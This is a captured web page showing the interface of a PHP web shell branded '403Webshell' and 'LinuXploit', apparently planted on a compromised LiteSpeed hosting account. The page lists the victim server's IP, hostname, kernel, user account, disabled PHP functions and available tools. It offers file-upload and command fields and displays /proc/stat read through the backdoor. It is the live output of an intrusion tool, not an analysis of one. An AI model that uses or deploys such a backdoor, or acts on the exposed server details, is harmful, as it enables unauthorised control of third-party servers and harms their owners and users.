403Webshell
Server IP : 93.115.150.27  /  Your IP : 216.73.216.221
Web Server : LiteSpeed
System : Linux host2.azar.host 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
User : dorfakkh ( 1797)
PHP Version : 8.1.34
Disable Function : show_source, system, passthru, exec, popen, proc_open, mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/proc//stat
cpu  2636230732 59479576 1018350294 27978686797 6548072 91642969 54232897 0 0 0
cpu0 99890172 2319614 35716218 847721573 248877 3158619 5906246 0 0 0
cpu1 93769224 2447204 35924877 855653162 306929 3632963 2320974 0 0 0
cpu2 92461127 2304547 35244094 859398581 288034 3401585 1286794 0 0 0
cpu3 86578164 2073782 33371629 867483095 259465 3232985 1535146 0 0 0
cpu4 88094018 2009277 33280298 867634954 240108 2956634 769771 0 0 0
cpu5 86747291 1980182 32873529 869924626 224292 2798010 676034 0 0 0
cpu6 84539097 1858935 32096489 873310940 214492 2701342 618342 0 0 0
cpu7 72641831 1583777 28213909 888970379 203473 2780040 652164 0 0 0
cpu8 82505663 1804899 31568582 875992458 205432 2664732 583200 0 0 0
cpu9 82164683 1718706 31065346 877215162 193436 2588632 545147 0 0 0
cpu10 79120735 1705129 30068965 881321031 194250 2530405 525878 0 0 0
cpu11 79740325 1606562 30112358 880819248 188523 2530752 535535 0 0 0
cpu12 78663468 1595294 29692999 882272474 182884 2535654 532440 0 0 0
cpu13 78800721 1583681 29661412 881992292 189789 2608579 618249 0 0 0
cpu14 76215371 1570290 29610792 881262634 181457 2609047 4072402 0 0 0
cpu15 75930744 1499870 29434173 882083525 181927 2533554 3924146 0 0 0
cpu16 106585222 2873399 40689818 835836265 290095 3864261 4003171 0 0 0
cpu17 88933651 2206661 34779940 861294113 254334 3404361 3709738 0 0 0
cpu18 78663098 1963826 32019817 874665440 215241 2992810 4269838 0 0 0
cpu19 82351279 2008192 33104277 870845921 203206 2980463 3584553 0 0 0
cpu20 81969258 1968761 33144402 870679534 201036 3258874 3763022 0 0 0
cpu21 81061456 1935580 32751792 872059709 161155 3754142 3617729 0 0 0
cpu22 82419658 1832496 32026190 875441485 185952 2780970 636386 0 0 0
cpu23 80739915 1740188 31456331 878089025 181301 2651112 557588 0 0 0
cpu24 80435936 1801121 31346438 878294858 177875 2716218 610389 0 0 0
cpu25 78386158 1697560 30505415 881575390 168873 2575548 543592 0 0 0
cpu26 77837149 1724550 30572547 881360197 176597 2813118 643747 0 0 0
cpu27 78787534 1674386 30695068 880942015 172473 2611574 585857 0 0 0
cpu28 78083889 1620433 30388263 882181681 168866 2540771 515400 0 0 0
cpu29 77161488 1684017 30057353 883252007 166501 2582812 551896 0 0 0
cpu30 76308619 1609251 29646452 884777610 162551 2502099 499467 0 0 0
cpu31 68643772 1477392 27230506 894335396 158633 2350286 1038039 0 0 0
intr 106252573218 97 9 0 0 0 0 0 0 1 0 0 0 15 0 0 0 0 0 62 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 969838827 316998343 318155190 318942096 307962582 315602309 305690353 301495924 315892818 0 4893399 0 960 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 76695950667
btime 1772622554
processes 230547237
procs_running 22
procs_blocked 0
softirq 51890139114 1 778632336 1815183 2627647814 942971632 0 97978523 1232770091 2007503 3256643071

Youez - 2016 - github.com/yon3zu
LinuXploit